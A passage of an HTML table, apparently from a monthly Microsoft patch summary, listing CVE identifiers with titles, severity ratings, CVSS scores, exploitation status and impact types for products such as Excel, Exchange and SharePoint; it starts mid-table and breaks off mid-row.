 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
